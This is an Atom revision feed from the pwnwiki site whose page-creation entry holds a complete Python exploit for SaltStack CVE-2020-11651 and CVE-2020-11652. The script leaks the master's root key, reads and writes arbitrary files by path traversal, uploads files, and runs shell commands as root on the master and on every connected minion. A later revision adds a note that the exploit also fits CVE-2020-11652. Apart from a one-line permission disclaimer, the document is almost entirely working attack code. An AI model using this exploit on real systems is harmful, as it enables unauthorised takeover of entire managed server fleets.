<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2020-11651_SaltStack_%E8%AA%8D%E8%AD%89%E7%B9%9E%E9%81%8E%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2020-11651 SaltStack 認證繞過漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2020-11651_SaltStack_%E8%AA%8D%E8%AD%89%E7%B9%9E%E9%81%8E%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2020-11651_SaltStack_%E8%AA%8D%E8%AD%89%E7%B9%9E%E9%81%8E%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-10T18:33:47Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2020-11651_SaltStack_%E8%AA%8D%E8%AD%89%E7%B9%9E%E9%81%8E%E6%BC%8F%E6%B4%9E&amp;diff=1879&amp;oldid=prev</id>
		<title>Pwnwiki: /* EXP */</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2020-11651_SaltStack_%E8%AA%8D%E8%AD%89%E7%B9%9E%E9%81%8E%E6%BC%8F%E6%B4%9E&amp;diff=1879&amp;oldid=prev"/>
		<updated>2021-04-23T00:56:54Z</updated>

		<summary type="html">&lt;p&gt;&lt;span dir=&quot;auto&quot;&gt;&lt;span class=&quot;autocomment&quot;&gt;EXP&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;table class=&quot;diff diff-contentalign-left diff-editfont-monospace&quot; data-mw=&quot;interface&quot;&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;tr class=&quot;diff-title&quot; lang=&quot;chinese&quot;&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;← Older revision&lt;/td&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;Revision as of 00:56, 23 April 2021&lt;/td&gt;
				&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l1&quot; &gt;Line 1:&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Line 1:&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;==EXP==&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;==EXP==&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;該EXP也適用於CVE-2020-11652&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;pre&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;pre&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;#!/usr/bin/env python&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;#!/usr/bin/env python&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;

&lt;!-- diff cache key pwn_wiki:diff::1.12:old-1878:rev-1879 --&gt;
&lt;/table&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2020-11651_SaltStack_%E8%AA%8D%E8%AD%89%E7%B9%9E%E9%81%8E%E6%BC%8F%E6%B4%9E&amp;diff=1878&amp;oldid=prev</id>
		<title>Pwnwiki: 建立內容為「==EXP== &lt;pre&gt; #!/usr/bin/env python # # Exploit for CVE-2020-11651 and CVE-2020-11652 # Written by Jasper Lievisse Adriaanse (https://github.com/jasperla/CVE-2020…」的新頁面</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2020-11651_SaltStack_%E8%AA%8D%E8%AD%89%E7%B9%9E%E9%81%8E%E6%BC%8F%E6%B4%9E&amp;diff=1878&amp;oldid=prev"/>
		<updated>2021-04-23T00:56:18Z</updated>

		<summary type="html">&lt;p&gt;建立內容為「==EXP== &amp;lt;pre&amp;gt; #!/usr/bin/env python # # Exploit for CVE-2020-11651 and CVE-2020-11652 # Written by Jasper Lievisse Adriaanse (https://github.com/jasperla/CVE-2020…」的新頁面&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/env python&lt;br /&gt;
#&lt;br /&gt;
# Exploit for CVE-2020-11651 and CVE-2020-11652&lt;br /&gt;
# Written by Jasper Lievisse Adriaanse (https://github.com/jasperla/CVE-2020-11651-poc)&lt;br /&gt;
# This exploit is based on this checker script:&lt;br /&gt;
# https://github.com/rossengeorgiev/salt-security-backports&lt;br /&gt;
&lt;br /&gt;
from __future__ import absolute_import, print_function, unicode_literals&lt;br /&gt;
import argparse&lt;br /&gt;
import datetime&lt;br /&gt;
import os&lt;br /&gt;
import os.path&lt;br /&gt;
import sys&lt;br /&gt;
import time&lt;br /&gt;
&lt;br /&gt;
import salt&lt;br /&gt;
import salt.version&lt;br /&gt;
import salt.transport.client&lt;br /&gt;
import salt.exceptions&lt;br /&gt;
&lt;br /&gt;
def init_minion(master_ip, master_port):&lt;br /&gt;
    minion_config = {&lt;br /&gt;
        'transport': 'zeromq',&lt;br /&gt;
        'pki_dir': '/tmp',&lt;br /&gt;
        'id': 'root',&lt;br /&gt;
        'log_level': 'debug',&lt;br /&gt;
        'master_ip': master_ip,&lt;br /&gt;
        'master_port': master_port,&lt;br /&gt;
        'auth_timeout': 5,&lt;br /&gt;
        'auth_tries': 1,&lt;br /&gt;
        'master_uri': 'tcp://{0}:{1}'.format(master_ip, master_port)&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    return salt.transport.client.ReqChannel.factory(minion_config, crypt='clear')&lt;br /&gt;
&lt;br /&gt;
# --- check funcs ----&lt;br /&gt;
&lt;br /&gt;
def check_connection(master_ip, master_port, channel):&lt;br /&gt;
  print(&amp;quot;[+] Checking salt-master ({}:{}) status... &amp;quot;.format(master_ip, master_port), end='')&lt;br /&gt;
  sys.stdout.flush()&lt;br /&gt;
&lt;br /&gt;
  # connection check&lt;br /&gt;
  try:&lt;br /&gt;
    channel.send({'cmd':'ping'}, timeout=2)&lt;br /&gt;
  except salt.exceptions.SaltReqTimeoutError:&lt;br /&gt;
    print(&amp;quot;OFFLINE&amp;quot;)&lt;br /&gt;
    sys.exit(1)&lt;br /&gt;
  else:&lt;br /&gt;
    print(&amp;quot;ONLINE&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
def check_CVE_2020_11651(channel):&lt;br /&gt;
  print(&amp;quot;[+] Checking if vulnerable to CVE-2020-11651... &amp;quot;, end='')&lt;br /&gt;
  sys.stdout.flush()&lt;br /&gt;
&lt;br /&gt;
  try:&lt;br /&gt;
    rets = channel.send({'cmd': '_prep_auth_info'}, timeout=3)&lt;br /&gt;
  except:&lt;br /&gt;
    print('ERROR')&lt;br /&gt;
    return None&lt;br /&gt;
  else:&lt;br /&gt;
    pass&lt;br /&gt;
  finally:&lt;br /&gt;
    if rets:&lt;br /&gt;
      print('YES')&lt;br /&gt;
      root_key = rets[2]['root']&lt;br /&gt;
      return root_key&lt;br /&gt;
&lt;br /&gt;
  print('NO')&lt;br /&gt;
  return None&lt;br /&gt;
&lt;br /&gt;
def check_CVE_2020_11652_read_token(debug, channel, top_secret_file_path):&lt;br /&gt;
  print(&amp;quot;[+] Checking if vulnerable to CVE-2020-11652 (read_token)... &amp;quot;, end='')&lt;br /&gt;
  sys.stdout.flush()&lt;br /&gt;
&lt;br /&gt;
  # try read file&lt;br /&gt;
  msg = {&lt;br /&gt;
    'cmd': 'get_token',&lt;br /&gt;
    'arg': [],&lt;br /&gt;
    'token': top_secret_file_path,&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  try:&lt;br /&gt;
    rets = channel.send(msg, timeout=3)&lt;br /&gt;
  except salt.exceptions.SaltReqTimeoutError:&lt;br /&gt;
    print(&amp;quot;YES&amp;quot;)&lt;br /&gt;
  except:&lt;br /&gt;
    print(&amp;quot;ERROR&amp;quot;)&lt;br /&gt;
    raise&lt;br /&gt;
  else:&lt;br /&gt;
    if debug:&lt;br /&gt;
      print()&lt;br /&gt;
      print(rets)&lt;br /&gt;
    print(&amp;quot;NO&amp;quot;)&lt;br /&gt;
  &lt;br /&gt;
def check_CVE_2020_11652_read(debug, channel, top_secret_file_path, root_key):&lt;br /&gt;
  print(&amp;quot;[+] Checking if vulnerable to CVE-2020-11652 (read)... &amp;quot;, end='')&lt;br /&gt;
  sys.stdout.flush()&lt;br /&gt;
&lt;br /&gt;
  # try read file&lt;br /&gt;
  msg = {&lt;br /&gt;
    'key': root_key,&lt;br /&gt;
    'cmd': 'wheel',&lt;br /&gt;
    'fun': 'file_roots.read',&lt;br /&gt;
    'path': top_secret_file_path,&lt;br /&gt;
    'saltenv': 'base',&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  try:&lt;br /&gt;
    rets = channel.send(msg, timeout=3)&lt;br /&gt;
  except salt.exceptions.SaltReqTimeoutError:&lt;br /&gt;
    print(&amp;quot;TIMEOUT&amp;quot;)&lt;br /&gt;
  except:&lt;br /&gt;
    print(&amp;quot;ERROR&amp;quot;)&lt;br /&gt;
    raise&lt;br /&gt;
  else:&lt;br /&gt;
    if debug:&lt;br /&gt;
      print()&lt;br /&gt;
      print(rets)&lt;br /&gt;
    if rets['data']['return']:&lt;br /&gt;
      print(&amp;quot;YES&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
      print(&amp;quot;NO&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
def check_CVE_2020_11652_write1(debug, channel, root_key):&lt;br /&gt;
  print(&amp;quot;[+] Checking if vulnerable to CVE-2020-11652 (write1)... &amp;quot;, end='')&lt;br /&gt;
  sys.stdout.flush()&lt;br /&gt;
&lt;br /&gt;
  # try read file&lt;br /&gt;
  msg = {&lt;br /&gt;
    'key': root_key,&lt;br /&gt;
    'cmd': 'wheel',&lt;br /&gt;
    'fun': 'file_roots.write',&lt;br /&gt;
    'path': '../../../../../../../../tmp/salt_CVE_2020_11652',&lt;br /&gt;
    'data': 'evil',&lt;br /&gt;
    'saltenv': 'base',&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  try:&lt;br /&gt;
    rets = channel.send(msg, timeout=3)&lt;br /&gt;
  except salt.exceptions.SaltReqTimeoutError:&lt;br /&gt;
    print(&amp;quot;TIMEOUT&amp;quot;)&lt;br /&gt;
  except:&lt;br /&gt;
    print(&amp;quot;ERROR&amp;quot;)&lt;br /&gt;
    raise&lt;br /&gt;
  else:&lt;br /&gt;
    if debug:&lt;br /&gt;
      print()&lt;br /&gt;
      print(rets)&lt;br /&gt;
&lt;br /&gt;
    pp(rets)&lt;br /&gt;
    if rets['data']['return'].startswith('Wrote'):&lt;br /&gt;
      try:&lt;br /&gt;
        os.remove('/tmp/salt_CVE_2020_11652')&lt;br /&gt;
      except OSError:&lt;br /&gt;
        print(&amp;quot;Maybe?&amp;quot;)&lt;br /&gt;
      else:&lt;br /&gt;
        print(&amp;quot;YES&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
      print(&amp;quot;NO&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
def check_CVE_2020_11652_write2(debug, channel, root_key):&lt;br /&gt;
  print(&amp;quot;[+] Checking if vulnerable to CVE-2020-11652 (write2)... &amp;quot;, end='')&lt;br /&gt;
  sys.stdout.flush()&lt;br /&gt;
&lt;br /&gt;
  # try read file&lt;br /&gt;
  msg = {&lt;br /&gt;
    'key': root_key,&lt;br /&gt;
    'cmd': 'wheel',&lt;br /&gt;
    'fun': 'config.update_config',&lt;br /&gt;
    'file_name': '../../../../../../../../tmp/salt_CVE_2020_11652',&lt;br /&gt;
    'yaml_contents': 'evil',&lt;br /&gt;
    'saltenv': 'base',&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  try:&lt;br /&gt;
    rets = channel.send(msg, timeout=3)&lt;br /&gt;
  except salt.exceptions.SaltReqTimeoutError:&lt;br /&gt;
    print(&amp;quot;TIMEOUT&amp;quot;)&lt;br /&gt;
  except:&lt;br /&gt;
    print(&amp;quot;ERROR&amp;quot;)&lt;br /&gt;
    raise&lt;br /&gt;
  else:&lt;br /&gt;
    if debug:&lt;br /&gt;
      print()&lt;br /&gt;
      print(rets)&lt;br /&gt;
    if rets['data']['return'].startswith('Wrote'):&lt;br /&gt;
      try:&lt;br /&gt;
        os.remove('/tmp/salt_CVE_2020_11652.conf')&lt;br /&gt;
      except OSError:&lt;br /&gt;
        print(&amp;quot;Maybe?&amp;quot;)&lt;br /&gt;
      else:&lt;br /&gt;
        print(&amp;quot;YES&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
      print(&amp;quot;NO&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
def pwn_read_file(channel, root_key, path, master_ip):&lt;br /&gt;
    print(&amp;quot;[+] Attemping to read {} from {}&amp;quot;.format(path, master_ip))&lt;br /&gt;
    sys.stdout.flush()&lt;br /&gt;
&lt;br /&gt;
    msg = {&lt;br /&gt;
        'key': root_key,&lt;br /&gt;
        'cmd': 'wheel',&lt;br /&gt;
        'fun': 'file_roots.read',&lt;br /&gt;
        'path': path,&lt;br /&gt;
        'saltenv': 'base',&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    rets = channel.send(msg, timeout=3)&lt;br /&gt;
    print(rets['data']['return'][0][path])&lt;br /&gt;
&lt;br /&gt;
def pwn_upload_file(channel, root_key, src, dest, master_ip):&lt;br /&gt;
    print(&amp;quot;[+] Attemping to upload {} to {} on {}&amp;quot;.format(src, dest, master_ip))&lt;br /&gt;
    sys.stdout.flush()&lt;br /&gt;
&lt;br /&gt;
    try:&lt;br /&gt;
        fh = open(src, 'rb')&lt;br /&gt;
        payload = fh.read()&lt;br /&gt;
        fh.close()&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        print('[-] Failed to read {}: {}'.format(src, e))&lt;br /&gt;
        return&lt;br /&gt;
&lt;br /&gt;
    msg = {&lt;br /&gt;
        'key': root_key,&lt;br /&gt;
        'cmd': 'wheel',&lt;br /&gt;
        'fun': 'file_roots.write',&lt;br /&gt;
        'saltenv': 'base',&lt;br /&gt;
        'data': payload,&lt;br /&gt;
        'path': dest,&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    rets = channel.send(msg, timeout=3)&lt;br /&gt;
    print('[ ] {}'.format(rets['data']['return']))&lt;br /&gt;
&lt;br /&gt;
def pwn_exec(channel, root_key, cmd, master_ip, jid):&lt;br /&gt;
    print(&amp;quot;[+] Attemping to execute {} on {}&amp;quot;.format(cmd, master_ip))&lt;br /&gt;
    sys.stdout.flush()&lt;br /&gt;
&lt;br /&gt;
    msg = {&lt;br /&gt;
        'key': root_key,&lt;br /&gt;
        'cmd': 'runner',&lt;br /&gt;
        'fun': 'salt.cmd',&lt;br /&gt;
        'saltenv': 'base',&lt;br /&gt;
        'user': 'sudo_user',&lt;br /&gt;
        'kwarg': {&lt;br /&gt;
            'fun': 'cmd.exec_code',&lt;br /&gt;
            'lang': 'python',&lt;br /&gt;
            'code': &amp;quot;import subprocess;subprocess.call('{}',shell=True)&amp;quot;.format(cmd)&lt;br /&gt;
        },&lt;br /&gt;
        'jid': jid,&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    try:&lt;br /&gt;
        rets = channel.send(msg, timeout=3)&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        print('[-] Failed to submit job')&lt;br /&gt;
        return&lt;br /&gt;
&lt;br /&gt;
    if rets.get('jid'):&lt;br /&gt;
        print('[+] Successfully scheduled job: {}'.format(rets['jid']))&lt;br /&gt;
&lt;br /&gt;
def pwn_exec_all(channel, root_key, cmd, master_ip, jid):&lt;br /&gt;
    print(&amp;quot;[+] Attemping to execute '{}' on all minions connected to {}&amp;quot;.format(cmd, master_ip))&lt;br /&gt;
    sys.stdout.flush()&lt;br /&gt;
&lt;br /&gt;
    msg = {&lt;br /&gt;
        'key': root_key,&lt;br /&gt;
        'cmd': '_send_pub',&lt;br /&gt;
        'fun': 'cmd.run',&lt;br /&gt;
        'user': 'root',&lt;br /&gt;
        'arg': [ &amp;quot;/bin/sh -c '{}'&amp;quot;.format(cmd) ],&lt;br /&gt;
        'tgt': '*',&lt;br /&gt;
        'tgt_type': 'glob',&lt;br /&gt;
        'ret': '',&lt;br /&gt;
        'jid': jid&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    try:&lt;br /&gt;
        rets = channel.send(msg, timeout=3)&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        print('[-] Failed to submit job')&lt;br /&gt;
        return&lt;br /&gt;
    finally:&lt;br /&gt;
        if rets == None:&lt;br /&gt;
            print('[+] Successfully submitted job to all minions.')&lt;br /&gt;
        else:&lt;br /&gt;
            print('[-] Failed to submit job')&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def main():&lt;br /&gt;
    parser = argparse.ArgumentParser(description='Saltstack exploit for CVE-2020-11651 and CVE-2020-11652')&lt;br /&gt;
    parser.add_argument('--master', '-m', dest='master_ip', default='127.0.0.1')&lt;br /&gt;
    parser.add_argument('--port', '-p', dest='master_port', default='4506')&lt;br /&gt;
    parser.add_argument('--force', '-f', dest='force', default=False, action='store_false')&lt;br /&gt;
    parser.add_argument('--debug', '-d', dest='debug', default=False, action='store_true')&lt;br /&gt;
    parser.add_argument('--run-checks', '-c', dest='run_checks', default=False, action='store_true')&lt;br /&gt;
    parser.add_argument('--read', '-r', dest='read_file')&lt;br /&gt;
    parser.add_argument('--upload-src', dest='upload_src')&lt;br /&gt;
    parser.add_argument('--upload-dest', dest='upload_dest')&lt;br /&gt;
    parser.add_argument('--exec', dest='exec', help='Run a command on the master')&lt;br /&gt;
    parser.add_argument('--exec-all', dest='exec_all', help='Run a command on all minions')&lt;br /&gt;
    args = parser.parse_args()&lt;br /&gt;
&lt;br /&gt;
    print(&amp;quot;[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.&amp;quot;)&lt;br /&gt;
    time.sleep(1)&lt;br /&gt;
&lt;br /&gt;
    # Both src and destination are required for uploads&lt;br /&gt;
    if (args.upload_src and args.upload_dest is None) or (args.upload_dest and args.upload_src is None):&lt;br /&gt;
        print('[-] Must provide both --upload-src and --upload-dest')&lt;br /&gt;
        sys.exit(1)&lt;br /&gt;
&lt;br /&gt;
    channel = init_minion(args.master_ip, args.master_port)&lt;br /&gt;
&lt;br /&gt;
    check_connection(args.master_ip, args.master_port, channel)&lt;br /&gt;
    &lt;br /&gt;
    root_key = check_CVE_2020_11651(channel)&lt;br /&gt;
    if root_key:&lt;br /&gt;
        print('[*] root key obtained: {}'.format(root_key))&lt;br /&gt;
    else:&lt;br /&gt;
        print('[-] Failed to find root key...aborting')&lt;br /&gt;
        sys.exit(127)&lt;br /&gt;
&lt;br /&gt;
    if args.run_checks:&lt;br /&gt;
        # Assuming this check runs on the master itself, create a file with &amp;quot;secret&amp;quot; content&lt;br /&gt;
        # and abuse CVE-2020-11652 to read it.&lt;br /&gt;
        top_secret_file_path = '/tmp/salt_cve_teta'&lt;br /&gt;
        with salt.utils.fopen(top_secret_file_path, 'w') as fd:&lt;br /&gt;
            fd.write(&amp;quot;top secret&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        # Again, this assumes we're running this check on the master itself&lt;br /&gt;
        with salt.utils.fopen('/var/cache/salt/master/.root_key') as keyfd:&lt;br /&gt;
            root_key = keyfd.read()&lt;br /&gt;
&lt;br /&gt;
        check_CVE_2020_11652_read_token(debug, channel, top_secret_file_path)&lt;br /&gt;
        check_CVE_2020_11652_read(debug, channel, top_secret_file_path, root_key)&lt;br /&gt;
        check_CVE_2020_11652_write1(debug, channel, root_key)&lt;br /&gt;
        check_CVE_2020_11652_write2(debug, channel, root_key)&lt;br /&gt;
        os.remove(top_secret_file_path)&lt;br /&gt;
        sys.exit(0)&lt;br /&gt;
&lt;br /&gt;
    if args.read_file:&lt;br /&gt;
        pwn_read_file(channel, root_key, args.read_file, args.master_ip)&lt;br /&gt;
&lt;br /&gt;
    if args.upload_src:&lt;br /&gt;
        if os.path.isabs(args.upload_dest):&lt;br /&gt;
            print('[-] Destination path must be relative; aborting')&lt;br /&gt;
            sys.exit(1)&lt;br /&gt;
        pwn_upload_file(channel, root_key, args.upload_src, args.upload_dest, args.master_ip)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
    jid = '{0:%Y%m%d%H%M%S%f}'.format(datetime.datetime.utcnow())&lt;br /&gt;
&lt;br /&gt;
    if args.exec:&lt;br /&gt;
        pwn_exec(channel, root_key, args.exec, args.master_ip, jid)&lt;br /&gt;
&lt;br /&gt;
    if args.exec_all:&lt;br /&gt;
        print(&amp;quot;[!] Lester, is this what you want? Hit ^C to abort.&amp;quot;)&lt;br /&gt;
        time.sleep(2)&lt;br /&gt;
        pwn_exec_all(channel, root_key, args.exec_all, args.master_ip, jid)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
    main()&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>